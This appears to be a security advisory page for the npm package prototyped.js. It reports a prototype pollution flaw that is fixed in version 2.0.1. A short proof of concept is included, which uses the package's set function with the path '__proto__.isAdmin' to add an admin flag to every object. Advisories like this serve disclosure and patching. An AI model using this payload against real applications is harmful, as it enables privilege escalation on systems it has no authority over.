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prototyped.js@0.21.0 vulnerabilities

Common typescript ready prototypes available in both CommonJS and ECMAScript

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Direct Vulnerabilities

Known vulnerabilities in the prototyped.js package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

prototyped.js is a Common typescript ready prototypes available in both es5 and es6

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const set = require("prototyped.js/dist/object/set").default;
console.log("Prototype before set", ({}).isAdmin);
set({}, "__proto__.isAdmin", true);
console.log("Prototype after set", ({}).isAdmin);

How to fix Prototype Pollution?

Upgrade prototyped.js to version 2.0.1 or higher.

<2.0.1
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